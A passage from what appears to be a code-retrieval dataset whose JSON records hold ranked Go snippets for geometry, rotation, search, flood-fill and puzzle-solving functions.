maxbb2\n\t\t\t\tr.Max.X++\n\t\t\t}\n\t\t\tw0 += dx0\n\t\t\tw1 += dx1\n\t\t\twmin += dwymin\n\t\t\twmax -= dwymax\n\t\t\tdwymin += minaa2\n\t\t\tdwymax += maxaa2\n\t\t}\n\t} else {\n\t\tfor r.Min.X = box.Min.X; r.Min.X < box.Max.X; r.Min.X++ {\n\t\t\tm0, m1 := w0, w1\n\t\t\tmmin, mmax := wmin, wmax\n\t\t\tdmmin, dmmax := dwymin, dwymax\n\t\t\tr.Min.Y = box.Max.Y\n\t\t\tr.Max.Y = box.Min.Y\n\t\t\tfor {\n\t\t\t\tm := (m0 | m1) ^ of | (mmin | mmax)\n\t\t\t\tif r.Min.Y == box.Max.Y {\n\t\t\t\t\tif r.Max.Y == box.Max.Y {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tif m >= 0 {\n\t\t\t\t\t\tr.Min.Y = r.Max.Y\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif m < 0 || r.Max.Y == box.Max.Y {\n\t\t\t\t\t\tr.Max.X = r.Min.X + 1\n\t\t\t\t\t\ta.Fill(r)\n\t\t\t\t\t\tif r.Max.Y == box.Max.Y {\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t\tr.Min.Y = box.Max.Y\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tm0 += dx0\n\t\t\t\tm1 += dx1\n\t\t\t\tmmin += dmmin\n\t\t\t\tmmax -= dmmax\n\t\t\t\tdmmin += minaa2\n\t\t\t\tdmmax += maxaa2\n\t\t\t\tr.Max.Y++\n\t\t\t}\n\t\t\tw0 += dy0\n\t\t\tw1 += dy1\n\t\t\twmin += dwxmin\n\t\t\twmax -= dwxmax\n\t\t\tdwxmin += minbb2\n\t\t\tdwxmax += maxbb2\n\t\t}\n\t}\n}", "title": "" }, { "docid": "baa18db2b0d91dfcacb6de26777fdefc", "score": "0.4175569", "text": "func rotate(waypoint *point, angle int) {\n\t// couldn't get the fancy matrix thing to work\n\tswitch angle % 360 {\n\tcase 0:\n\t\tbreak\n\n\tcase 90:\n\t\twaypoint.x, waypoint.y = waypoint.y, -waypoint.x\n\n\tcase 180:\n\t\twaypoint.x, waypoint.y = -waypoint.x, -waypoint.y\n\n\tcase 270:\n\t\twaypoint.x, waypoint.y = -waypoint.y, waypoint.x\n\n\tdefault:\n\t\tpanic(fmt.Errorf(\"can't rotate by %v degrees\", angle))\n\t}\n}", "title": "" }, { "docid": "42eef22b3db69a09e9c59c5f2ad5c1ad", "score": "0.41633567", "text": "func (x *Rat) Denom() *Int", "title": "" }, { "docid": "e9cc102036c1417a0d8be6e0d501e258", "score": "0.4160889", "text": "func (p1 *Post) greaterAngle(p2 *Post) bool {\n\tangle1 := p1.angle()\n\tangle2 := p2.angle()\n\n\treturn angle1 > angle2\n}", "title": "" }, { "docid": "4b111126cc344422fc91188cefc81fa7", "score": "0.41593784", "text": "func search(nums []int, target int) int {\n\tif len(nums) == 0 || (len(nums) == 1 && nums[0] != target) {\n\t\treturn -1\n\t}\n\thalf := len(nums) / 2\n\tif nums[half] == target {\n\t\treturn half\n\t}\n\tif nums[0] < nums[len(nums)-1] {\n\t\treturn binSearch(nums, target)\n\t}\n\tif nums[half] < nums[0] {\n\t\t// half is in small rotated.\n\t\tif nums[len(nums)-1] < target {\n\t\t\treturn search(nums[:half], target)\n\t\t} else {\n\t\t\tif nums[half] < target {\n\t\t\t\tpos := binSearch(nums[half:], target)\n\t\t\t\tif pos != -1 {\n\t\t\t\t\tpos += half\n\t\t\t\t}\n\t\t\t\treturn pos\n\t\t\t} else {\n\t\t\t\treturn search(nums[:half], target)\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// bigger rotated\n\t\tif nums[0] > target {\n\t\t\tpos := search(nums[half:], target)\n\t\t\tif pos != -1 {\n\t\t\t\tpos += half\n\t\t\t}\n\t\t\treturn pos\n\t\t} else {\n\t\t\tif nums[half] > target {\n\t\t\t\treturn search(nums[0:half], target)\n\t\t\t} else {\n\t\t\t\tpos := search(nums[half:], target)\n\t\t\t\tif pos != -1 {\n\t\t\t\t\tpos += half\n\t\t\t\t}\n\t\t\t\treturn pos\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "41feb0aa348e61175861689da9fec0a5", "score": "0.4153742", "text": "func Nextafter(x, y float64) (r float64) {}", "title": "" }, { "docid": "62eebf634eee7fbc8c329730cf2e4358", "score": "0.41445196", "text": "func squareElement(res, y *Element)", "title": "" }, { "docid": "c88c58a34071fbe79e6099868190eba7", "score": "0.41338703", "text": "func (x *Rat) Sign() int", "title": "" }, { "docid": "157dd058ecabba9a024a02189dd7c25e", "score": "0.41332868", "text": "func smearRightmost1(x uint32) uint32 {\n\treturn x ^ (x - 1)\n}", "title": "" }, { "docid": "36397f85a41770dd078c5bb5f6ad47a5", "score": "0.4132728", "text": "func main() {\n\n\t//star(10)\n\n\timage1 := [][]int{\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 0, 0, 0, 1},\n\t\t[]int{1, 1, 1, 0, 0, 0, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t}\n\n\timage2 := [][]int{\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 0},\n\t}\n\n\timage3 := [][]int{\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 0, 0},\n\t\t[]int{1, 1, 1, 1, 1, 0, 0},\n\t}\n\n\timage4 := [][]int{\n\t\t[]int{0, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t\t[]int{1, 1, 1, 1, 1, 1, 1},\n\t}\n\n\timage5 := [][]int{\n\t\t[]int{0},\n\t}\n\n\tfmt.Println(rect(image1))\n\tfmt.Println(rect(image2))\n\tfmt.Println(rect(image3))\n\tfmt.Println(rect(image4))\n\tfmt.Println(rect(image5))\n\n}", "title": "" }, { "docid": "2c2c4ea2149b85cc12486f735c6c9a1d", "score": "0.41201133", "text": "func (enigma *enigma) getRotor(rotor_position int) rotor {\n return enigma.rotors[enigma.current_rotors[rotor_position - 1] - 1] //subtract by one because indexes start at 0\n}", "title": "" }, { "docid": "ff1db000dc215b4e7bc206911cbf6536", "score": "0.41162118", "text": "func getNextPoint(sh * Sheep, point [] Path, thresh float64)(ret Path){\n\tif !samepoint(sh.pathhead, point[0]){\n\t\tsh.pathhead.X = point[0].X\n\t\tsh.pathhead.Y = point[0].Y\n\t\tsh.pathidx = 1\n\t}\n\tdist := euclidDist(float64(sh.currX), point[sh.pathidx].X*2, float64(sh.currY), point[sh.pathidx].Y*2)\n\tif dist < thresh && dist != 0{\n\t\tsh.pathidx += 1\n\t}\n\tret.X = point[sh.pathidx].X*2\n\tret.Y = point[sh.pathidx].Y*2\n\tif samepoint(ret,Path{X:0,Y:0}){\n\t\tret = Path{X:float64(sh.currX), Y:float64(sh.currY)}\n\t}\n\treturn\n}", "title": "" }, { "docid": "621f3f3a67d9079bacba02adae7760b2", "score": "0.41159382", "text": "func aAt(gc *draw2dimg.GraphicContext, sx, sy, unit float64) {\n\tgc.MoveTo((sx), (sy + unit*2))\n\tgc.LineTo((sx), (sy))\n\tgc.LineTo((sx + unit), (sy))\n\tgc.LineTo((sx + unit), (sy + unit*2))\n\tgc.MoveTo((sx), (sy + unit))\n\tgc.LineTo((sx + unit), (sy + unit))\n}", "title": "" }, { "docid": "e8888b287f3a77d910c9102a680f345c", "score": "0.41041055", "text": "func (ms MultiSegment) Ring(o orb.Orientation) orb.Ring {\n\tlength := 0\n\tfor _, s := range ms {\n\t\tlength += len(s.Line)\n\t}\n\n\tring := make(orb.Ring, 0, length)\n\n\thaveOrient := false\n\treversed := false\n\tfor _, s := range ms {\n\t\tif s.Orientation != 0 {\n\t\t\thaveOrient = true\n\n\t\t\t// if s.Orientation == o && s.Reversed {\n\t\t\t// \treversed = true\n\t\t\t// }\n\t\t\t// if s.Orientation != 0 && !s.Reversed {\n\t\t\t// \treversed = true\n\t\t\t// }\n\n\t\t\tif (s.Orientation == o) == s.Reversed {\n\t\t\t\treversed = true\n\t\t\t}\n\t\t}\n\n\t\tring = append(ring, s.Line...)\n\t}\n\n\tif (haveOrient && reversed) || (!haveOrient && ring.Orientation() != o) {\n\t\tring.Reverse()\n\t}\n\n\treturn ring\n}", "title": "" }, { "docid": "eed8677c0b179c461a51498a39165efd", "score": "0.40945005", "text": "func halfAngularWidth(dist2, r2 float64) float64 {\n\treturn math.Asin(math.Sqrt(r2 / dist2))\n}", "title": "" }, { "docid": "49516d8d82bb26dd733b5676de96aae0", "score": "0.4090986", "text": "func trap(height []int) int {\n\tlen := len(height)\n\tleftMax := make([]int, len)\n\trightMax := make([]int, len)\n\tlx := 0\n\trx := 0\n\tfor i, v := range height {\n\t\tif v > lx {\n\t\t\tlx = v\n\t\t}\n\t\tleftMax[i] = lx\n\t\tj := len - (i + 1)\n\t\tw := height[j]\n\t\tif w > rx {\n\t\t\trx = w\n\t\t}\n\t\trightMax[j] = rx\n\t}\n\tans := 0\n\tfor k, h := range height {\n\t\tmin := math.Min(float64(leftMax[k]), float64(rightMax[k]))\n\t\tans = (int(min) - h) + ans\n\t}\n\treturn ans\n}", "title": "" }, { "docid": "306a83b4edff08510c5d58674f244a70", "score": "0.40886536", "text": "func GetLocationOnRing(id []byte) float64 {\n\tstr := hex.EncodeToString(id)\n\tm := len(str)\n\tmax := math.Pow(2.0, float64(m*4)) - 1\n\n\tidInt, _ := strconv.ParseUint(str, 16, 64)\n\treturn (float64(idInt) / max) * 100.0\n}", "title": "" }, { "docid": "c3c303ba59a254f6399b268ef48a5309", "score": "0.40877238", "text": "func findNextCoprime(pt *image.Point) {\n\t// make sure a is at least 2\n\tif pt.X < 2 || pt.Y < 1 {\n\t\t*pt = image.Point{2, 1}\n\t\treturn\n\t}\n\t// make sure a > b\n\tif pt.X <= pt.Y {\n\t\t*pt = image.Point{pt.X + 1, 1}\n\t\treturn\n\t}\n\t// now for the iteration\n\tpt.Y = pt.Y + 1\n\tfor !isCoprime(*pt) {\n\t\tpt.Y = pt.Y + 1\n\t}\n\tif pt.Y >= pt.X {\n\t\tpt.X++\n\t\tpt.Y = 1\n\t}\n}", "title": "" }, { "docid": "89330db25cc083d693ded3226462c228", "score": "0.40868706", "text": "func minDominoRotations(A []int, B []int) int {\n\tc1, c2 := minSwap(A[0], A, B), minSwap(B[0], A, B)\n\tif c1 == -1 {\n\t\treturn c2\n\t} else if c2 == -1 {\n\t\treturn c1\n\t} else {\n\t\treturn min(c1, c2)\n\t}\n}", "title": "" }, { "docid": "75b6acfe10ccb03e3c498f68c6098f6b", "score": "0.40860817", "text": "func (sim *Simulation) shoot() {\n if sim.hasHunterShot {\n return // No more arrows\n }\n\n diff := Point {0, 0}\n\n switch (sim.hunterFacing) {\n case NORTH:\n diff.PosY--\n break;\n case EAST:\n diff.PosX++\n break;\n case SOUTH:\n diff.PosY++\n break;\n case WEST:\n diff.PosX--\n }\n\n point := Point {sim.hunterPos.PosX+diff.PosX, sim.hunterPos.PosY+diff.PosY}\n\n for ; IsInBounds(point, sim.world.sizex, sim.world.sizey); {\n if sim.world.squares[point.PosY][point.PosX].hasWump {\n sim.isWumpusScreaming = true\n sim.world.squares[point.PosY][point.PosX].hasWump = false // Killed him, YAY!\n }\n point.PosX += diff.PosX\n point.PosY += diff.PosY\n }\n}", "title": "" }, { "docid": "006e730dd58270372d7fb8179315318a", "score": "0.40836906", "text": "func satan(arg float64) float64 {\n\tif arg < Sqrt2-1 {\n\t\treturn xatan(arg)\n\t}\n\tif arg > Sqrt2+1 {\n\t\treturn Pi/2 - xatan(1/arg)\n\t}\n\treturn Pi/4 + xatan((arg-1)/(arg+1))\n}", "title": "" }, { "docid": "a253128bc7e131a9f2ef3eecaa6a365f", "score": "0.4077934", "text": "func (angle Angle) Simplify() Angle {\n\tif angle < 0 {\n\t\treturn Angle(float32(angle) + radiansCircle).Simplify()\n\t} else if float32(angle) < radiansCircle {\n\t\treturn angle\n\t} else {\n\t\treturn Angle(float32(angle) - radiansCircle).Simplify()\n\t}\n}", "title": "" }, { "docid": "8e1f645852d275b25b0b48545e6208b1", "score": "0.4072035", "text": "func BestRotation(A []int) int {\n\tvar l int = len(A)\n\tvar record []begin_end// = make([]Interval,l)//record[i] = 数字A[i]刚好不得分的偏移量\n\tfor i := 0;i < l;i++{//每个数字\n\t\tif A[i] == 0{\n\t\t\tcontinue\n\t\t}\n\t\tif A[i] <= i{\n\t\t\t//A[5] = 2\n\t\t\t// goods.append([0, i-A[i]])\n\t\t\t// if i+1<n:\n\t\t\t// goods.append([i+1, n-1])\n\t\t\tvar cur1 begin_end\n\t\t\tcur1.begin = 0\n\t\t\tcur1.end = i - A[i]\n\t\t\trecord = append(record, cur1)\n\t\t\tif i + 1 < l{\n\t\t\t\tvar cur2 begin_end\n\t\t\t\tcur2.begin = i + 1\n\t\t\t\tcur2.end = l - 1\n\t\t\t\trecord = append(record, cur2)\n\t\t\t}\n\t\t}else{\n\t\t\t//goods.append([i+1, i+n-A[i]])\n\t\t\t//A[2] = 5,l = 6\n\t\t\t//k = 1, A[1] = 5,不满足\n\t\t\t//k = 3,A[5] = 5,满足\n\t\t\t//k = 4,A[4] = 5\n\t\t\t//k = 5,A[3] = 5\n\t\t\tvar cur begin_end\n\t\t\tcur.begin = i + 1\n\t\t\tcur.end = i + l - A[i]\n\t\t\trecord = append(record, cur)\n\t\t}\n\t}\n\tvar cnt []int = make([]int,l + 1)\n\tfor _,r := range record{\n\t\tcnt[r.begin]++\n\t\tcnt[r.end + 1]--\n\n\t}\n\tvar res int = 0\n\tvar max_cnt int = 0\n\tvar sum int = 0\n\tfor i := 0;i < l;i++{\n\t\tsum += cnt[i]\n\t\tif sum > max_cnt{\n\t\t\tmax_cnt = sum\n\t\t\tres = i\n\t\t}\n\t}\n\treturn res\n}", "title": "" }, { "docid": "282563c976bd4826caaef9b151d70d47", "score": "0.40598738", "text": "func ObjectRotatedRastrigin(float64s []float64) float64 {\n\tret := float64(0)\n\tfor _, v := range float64s {\n\t\tret += math.Pow(v, 2) - 10*math.Cos(2*math.Pi*v) + 10\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "63d6ef5afb60d097f89424e0d7455ca2", "score": "0.4057395", "text": "func main(){\n\n\tfmt.Println(containerWithMostWaterArea([]int{1,8,6,2,5,4,8,3,7}))\n\n\tfmt.Println(containerWithMostWaterArea([]int{4,3,2,1,4}))\n\n\tfmt.Println(containerWithMostWaterArea([]int{1,1}))\n}", "title": "" }, { "docid": "20c938c57ddbf2082c3fbf45fac69d89", "score": "0.40568578", "text": "func (ki *keyIndex) findGeneration(rev int64) *generation {\n\tlastg := len(ki.generations) - 1\n\tcg := lastg\n\n\tfor cg >= 0 {\n\t\tif len(ki.generations[cg].revs) == 0 {\n\t\t\tcg--\n\t\t\tcontinue\n\t\t}\n\t\tg := ki.generations[cg]\n\t\tif cg != lastg {\n\t\t\tif tomb := g.revs[len(g.revs)-1].main; tomb <= rev {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tif g.revs[0].main <= rev {\n\t\t\treturn &ki.generations[cg]\n\t\t}\n\t\tcg--\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0a2406c9b2b28023536136e331ae52fa", "score": "0.40561438", "text": "func Abs(x complex64) float32 { return math32.Hypot(real(x), imag(x)) }", "title": "" }, { "docid": "d5f7fa3d991284136ae6b8f67691115e", "score": "0.4053082", "text": "func rect2(length2, width2 int) (perimater2, area2 int){\n\tperimater2 = (length2 + width2)*2\n\tarea2 = length2*width2 \t\n\treturn \n}", "title": "" }, { "docid": "f58dd54787898320e517c25c6dc03a49", "score": "0.40501508", "text": "func (j Hinge2Joint) Angle1() float64 {\n\treturn float64(C.dJointGetHinge2Angle1(j.c()))\n}", "title": "" }, { "docid": "ee4f7d106d51611306262878cca6fe08", "score": "0.4049648", "text": "func midwayPoint(p1, p2 pt) pt {\n\treturn pt{(p1.x + p2.x) / 2, (p1.y + p2.y) / 2}\n}", "title": "" }, { "docid": "dff6bbf37aece14212e2bcb6f4b8d13f", "score": "0.40439954", "text": "func NormAngle(angle float64) float64 {\n\tangle = math.Mod(angle, 2.0*math.Pi)\n\tif angle > math.Pi {\n\t\tangle -= 2 * math.Pi\n\t} else if angle < -math.Pi {\n\t\tangle += 2 * math.Pi\n\t}\n\treturn angle\n}", "title": "" }, { "docid": "9f6b023d91163040104a0898dfb51bf7", "score": "0.40409133", "text": "func FloodFill(x,y, width, height int, in func(int)bool) [][]int {\n res := make([][]int, height)\n if x < 0 || x >= width || y < 0 || y >= height { return res }\n idx := width * y + x\n if !in(idx) { return res }\n x0 := x\n for x0 > 0 && in(idx-1) {\n x0--\n idx--\n }\n for x < width-1 && in(idx+1) {\n x++\n idx++\n }\n \n var todo [2][]int\n var dir = [2]int{-1,1}\n \n line := x0|(x<<16)\n res[y] = append(res[y], line)\n \n for i := 0; i <= 1; i++ {\n if y+dir[i] >= 0 && y+dir[i] < height {\n todo[i] = append(todo[i], y+dir[i], line)\n }\n }\n \n for len(todo[0])+len(todo[1]) > 0 {\n for i := 0; i <=1; i++ {\n if len(todo[i]) > 0 {\n line = todo[i][len(todo[i])-1]\n y = todo[i][len(todo[i])-2]\n todo[i] = todo[i][0:len(todo[i])-2]\n x0 = line & 0xFFFF\n x = line >> 16\n x0, x = rangesubtract(x0, x, res[y], y, &todo[i])\n if x0 <= x {\n idx = y * width + x0\n a0 := x0\n aidx := idx\n if in(aidx) {\n for a0 > 0 && in(aidx-1) {\n a0--\n aidx--\n }\n }\n \n // if we extended past the initial line, we need to check other direction, too\n if a0 < x0 {\n if y+dir[1-i] >= 0 && y+dir[1-i] < height {\n todo[1-i] = append(todo[1-i], y+dir[1-i], a0|((x0-1) << 16))\n }\n } else {\n a0 = -1\n }\n \n for x0 <= x {\n if in(idx) {\n if a0 >= 0 {\n line = a0\n a0 = -1\n } else {\n line = x0\n }\n for x0 < width-1 && in(idx+1) {\n x0++\n idx++\n }\n line |= x0 << 16\n res[y] = append(res[y], line)\n if y+dir[i] >= 0 && y+dir[i] < height {\n todo[i] = append(todo[i], y+dir[i], line)\n }\n \n // if we extended past the initial line, we need to check other direction, too\n if x0 > x {\n if y+dir[1-i] >= 0 && y+dir[1-i] < height {\n todo[1-i] = append(todo[1-i], y+dir[1-i], (x+1)|(x0 << 16))\n }\n }\n \n }\n x0++\n idx++\n }\n }\n }\n }\n }\n \n return res\n}", "title": "" }, { "docid": "a781afc89f887c39b6ea18c0289809c5", "score": "0.40402037", "text": "func (m *Matrix4) findSymEig() float64 {\n\tpoly := m.CharPoly()\n\n\tfor len(poly) >= 2 {\n\t\troots := poly.RealRoots()\n\t\tif len(roots) > 0 {\n\t\t\treturn roots[0]\n\t\t}\n\t\t// The polynomial must have roots we aren't seeing because they\n\t\t// just barely brush the x axis. This means that the roots are\n\t\t// probably repeated, and are therefore a local minimum.\n\t\tpoly = poly.Derivative()\n\t}\n\n\t// A root should have been found, and this case\n\t// should not be reached.\n\treturn 0.0\n}", "title": "" }, { "docid": "6aaf6c6f54c6995116acbd6a9d01a333", "score": "0.4032292", "text": "func FindNearestDefibrillator(user *Position, defibrillators []Defibrillator) (*Defibrillator, error) {\n\tvar nearest Defibrillator\n\tdistance := math.Inf(1)\n\tfor _, defibrillator := range defibrillators {\n\t\t// fmt.Fprintf(os.Stderr, \"user=%v, defibrillator=%v\\n\", user, defibrillator)\n\t\tif thisDist := user.DistanceTo(defibrillator.location); thisDist < distance {\n\t\t\tnearest = defibrillator\n\t\t\tdistance = thisDist\n\t\t}\n\t}\n\treturn &nearest, nil\n}", "title": "" }, { "docid": "4c1165f2f86897279d56630638baf50d", "score": "0.4032237", "text": "func (o *Axis) hunt(x float64) int {\n\n\t// hunting\n\tjl := o.jHunt\n\tinc := 1\n\tvar ju, jm int\n\tif jl < 0 || jl > o.n-1 { // input guess not useful. skip hunting\n\t\tjl = 0\n\t\tju = o.n - 1\n\t} else {\n\t\tif x >= o.Get(jl) == o.ascnd { // hunt up\n\t\t\tfor {\n\t\t\t\tju = jl + inc\n\t\t\t\tif ju >= o.n-1 {\n\t\t\t\t\tju = o.n - 1\n\t\t\t\t\tbreak // off end of table.\n\t\t\t\t} else if x < o.Get(ju) == o.ascnd {\n\t\t\t\t\tbreak // found bracket.\n\t\t\t\t} else { // not done, so double the increment and try again.\n\t\t\t\t\tjl = ju\n\t\t\t\t\tinc += inc\n\t\t\t\t}\n\t\t\t}\n\t\t} else { // hunt down\n\t\t\tju = jl\n\t\t\tfor {\n\t\t\t\tjl = jl - inc\n\t\t\t\tif jl <= 0 {\n\t\t\t\t\tjl = 0\n\t\t\t\t\tbreak // off end of table.\n\t\t\t\t} else if x >= o.Get(jl) == o.ascnd {\n\t\t\t\t\tbreak // found bracket.\n\t\t\t\t} else { // not done, so double the increment and try again.\n\t\t\t\t\tju = jl\n\t\t\t\t\tinc += inc\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// hunt is done, so begin the final bisection phase:\n\tfor ju-jl > 1 {\n\t\tjm = (ju + jl) >> 1\n\t\tif x >= o.Get(jm) == o.ascnd {\n\t\t\tjl = jm\n\t\t} else {\n\t\t\tju = jm\n\t\t}\n\t}\n\n\t// set hunt flag\n\tif utl.Iabs(jl-o.jHunt) > o.djHunt {\n\t\to.useHunt = false\n\t} else {\n\t\to.useHunt = true\n\t}\n\to.jHunt = jl\n\n\t// results\n\treturn utl.Imax(0, utl.Imin(o.n-o.m, jl-((o.m-2)>>1)))\n}", "title": "" }, { "docid": "f6dbad93c7933a2b1b6cb565003c5614", "score": "0.40316376", "text": "func mySqrt(x int) int {\n\tstart := 1\n\tend := x\n\tfor start + 1 < end {\n\t\tmid := start + (end - start) / 2\n\t\tif mid * mid == x {\n\t\t\treturn mid\n\t\t} else if mid * mid < x {\n\t\t\tstart = mid\n\t\t} else {\n\t\t\tend = mid\n\t\t}\n\t}\n\tif end * end <= x {\n\t\treturn end\n\t}\n\treturn start\n}", "title": "" }, { "docid": "3365877737917a37477cfc1a3c54a417", "score": "0.40255013", "text": "func foundGravityCenter(simplex []FuncPair)*Vector{\n\tresult := simplex[0].Value \n\tfor i := 1; i < len(simplex); i++{\n\t\tresult = result.Add(simplex[i].Value)\n\t}\n\treturn result.DivFloat(float64(len(simplex)))\n}", "title": "" }, { "docid": "ae10bcbd8e9060a7dff9a4f37251f6c1", "score": "0.40251634", "text": "func findFirstSeat(seats [][]Seat, grad [2]int, startRow int, startCol int) Seat {\n\trowStep := grad[0]\n\tcolStep := grad[1]\n\n\tif rowStep == 0 && colStep == 0 {\n\t\tpanic(\"Can't have gradient of 0,0\")\n\t}\n\n\trow := startRow\n\tcol := startCol\n\n\tfor row >= 0 && row < len(seats) && col >= 0 && col < len(seats[0]) {\n\t\t// Not where we started\n\t\tif row != startRow || col != startCol {\n\n\t\t\t// If not floor return seat\n\t\t\tif seats[row][col].comfy {\n\t\t\t\treturn seats[row][col]\n\t\t\t}\n\t\t}\n\n\t\tcol += colStep\n\t\trow += rowStep\n\t}\n\n\treturn Seat{}\n}", "title": "" }, { "docid": "0b8213d267c5f4ffa48e983c9b69e79e", "score": "0.40249822", "text": "func (m *CharacterMutation) SimpleRadicalStroke() (r string, exists bool) {\n\tv := m.simple_radical_stroke\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "baf09d00329244ee0ca0503e76b6ade6", "score": "0.40240178", "text": "func Angle(l *Line) float64 {\n\treturn math.Atan2(l.Y2-l.Y1, l.X2-l.X1)\n}", "title": "" }, { "docid": "e08f327e8183b759a555141cba4d50e4", "score": "0.4022056", "text": "func (g *Grid) toroidal(x, y int) (tx, ty int) {\n\ttx = x % g.Width\n\tty = y % g.Height\n\tif tx < 0 {\n\t\ttx += g.Width\n\t}\n\tif ty < 0 {\n\t\tty += g.Height\n\t}\n\treturn\n}", "title": "" }, { "docid": "d1d1f340f4804ee97938b7588f154c4c", "score": "0.4018719", "text": "func (field *asteroidField) sweepClockwise(relativeTo image.Point) chan image.Point {\n\tif !relativeTo.In(field.bounds()) {\n\t\treturn nil // there's no point (ehehe...)\n\t}\n\tchannel := make(chan image.Point, 4) // 4 elements is good enough\n\n\t// now how do we generate Sison points...\n\tclockwiseGenerator := func() {\n\t\tfunc() { // generate for upper-right quadrant\n\t\t\tquarterWidth := field.width - relativeTo.X - 1\n\t\t\tquarterHeight := relativeTo.Y\n\t\t\tfor sisonPoint := range generateSisonPoints(quarterWidth, quarterHeight) {\n\t\t\t\taddend := image.Pt(sisonPoint.X, -sisonPoint.Y)\n\t\t\t\tfor absolute := relativeTo.Add(addend); absolute.In(field.bounds()); absolute = absolute.Add(addend) {\n\t\t\t\t\tif field.get(absolute) {\n\t\t\t\t\t\tchannel <- absolute\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\tfunc() { // generate for lower-right quadrant\n\t\t\t// As we are sweeping counterclockwise,\n\t\t\t// the height of the Sison Point Generator would be the horizontal distance based on field.width,...,\n\t\t\t// that is, field.width - relativeTo.X - 1,\n\t\t\t// and the width of the Generator would be the vertical distance based on field.height.\n\t\t\tquarterWidth := field.height - relativeTo.Y - 1\n\t\t\tquarterHeight := field.width - relativeTo.X - 1\n\t\t\tfor sisonPont := range generateSisonPoints(quarterWidth, quarterHeight) {\n\t\t\t\taddend := image.Pt(+sisonPont.Y, +sisonPont.X)\n\t\t\t\tfor absolute := relativeTo.Add(addend); absolute.In(field.bounds()); absolute = absolute.Add(addend) {\n\t\t\t\t\tif field.get(absolute) {\n\t\t\t\t\t\tchannel <- absolute\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\tfunc() { // generate for the lower-left quadrant\n\t\t\tquarterWidth := relativeTo.X\n\t\t\tquarterHeight := field.height - relativeTo.Y - 1\n\t\t\tfor sisonPoint := range generateSisonPoints(quarterWidth, quarterHeight) {\n\t\t\t\taddend := image.Pt(-sisonPoint.X, +sisonPoint.Y)\n\t\t\t\tfor absolute := relativeTo.Add(addend); absolute.In(field.bounds()); absolute = absolute.Add(addend) {\n\t\t\t\t\tif field.get(absolute) {\n\t\t\t\t\t\tchannel <- absolute\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\tfunc() { // generate for the upper-left quadrant\n\t\t\t// Similar to the lower-right quadrant,\n\t\t\t// the quarter width and height appear flipped\n\t\t\tquarterWidth := relativeTo.Y\n\t\t\tquarterHeight := relativeTo.X\n\t\t\tfor sisonPoint := range generateSisonPoints(quarterWidth, quarterHeight) {\n\t\t\t\taddend := image.Pt(-sisonPoint.Y, -sisonPoint.X)\n\t\t\t\tfor absolute := relativeTo.Add(addend); absolute.In(field.bounds()); absolute = absolute.Add(addend) {\n\t\t\t\t\tif field.get(absolute) {\n\t\t\t\t\t\tchannel <- absolute\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\tclose(channel) // oh right... close the channel.\n\t}\n\tgo clockwiseGenerator()\n\n\treturn channel\n}", "title": "" }, { "docid": "e5b7bd6bf5771abea17724a5f80af643", "score": "0.40104532", "text": "func minAreaRect(points [][]int) int {\n\tif len(points) < 4 {\n\t\treturn 0\n\t}\n\tres := []int{}\n\tsubPoints := [][]int{}\n\tdfs(&points, &subPoints, 0, &res)\n\tmin := int(^uint(0) >> 1)\n\tfmt.Println(res)\n\tif len(res) == 0 {\n\t\treturn 0\n\t}\n\tfor i := 0; i < len(res); i++ {\n\t\tif min > res[i] {\n\t\t\tmin = res[i]\n\t\t}\n\t}\n\treturn min\n}", "title": "" }, { "docid": "7a16dc75216a040bf433d2895dc75120", "score": "0.40102723", "text": "func satan(x float64) float64 {\n\tconst (\n\t\tMorebits = 6.123233995736765886130e-17 // pi/2 = PIO2 + Morebits\n\t\tTan3pio8 = 2.41421356237309504880 // tan(3*pi/8)\n\t)\n\tif x <= 0.66 {\n\t\treturn xatan(x)\n\t}\n\tif x > Tan3pio8 {\n\t\treturn math.Pi/2 - myxatan(1/x) + Morebits\n\t}\n\treturn math.Pi/4 + myxatan((x-1)/(x+1)) + 0.5*Morebits\n}", "title": "" }, { "docid": "32ffaf6ada96600cef903e4bc5660cde", "score": "0.40056488", "text": "func rotate(a Multivector, angle float64, t *testing.T) Multivector {\n\t// e1 := Blade{bitmap: 1, s: 1}\n\t// e2 := Blade{bitmap: 1 << 1, s: 1}\n\t// I := e1.Op(e2)\n\t// _ = I\n\n\t// A := Multivector{e1}\n\t// B := Multivector{e1, e2}\n\n\t// A := Multivector{Blade{e1.bitmap, 1}, Blade{e2.bitmap, 0}}\n\t// B := Multivector{Blade{e1.bitmap, 0}, Blade{e2.bitmap, 1}}\n\t// t.Logf(\" A: %s\", 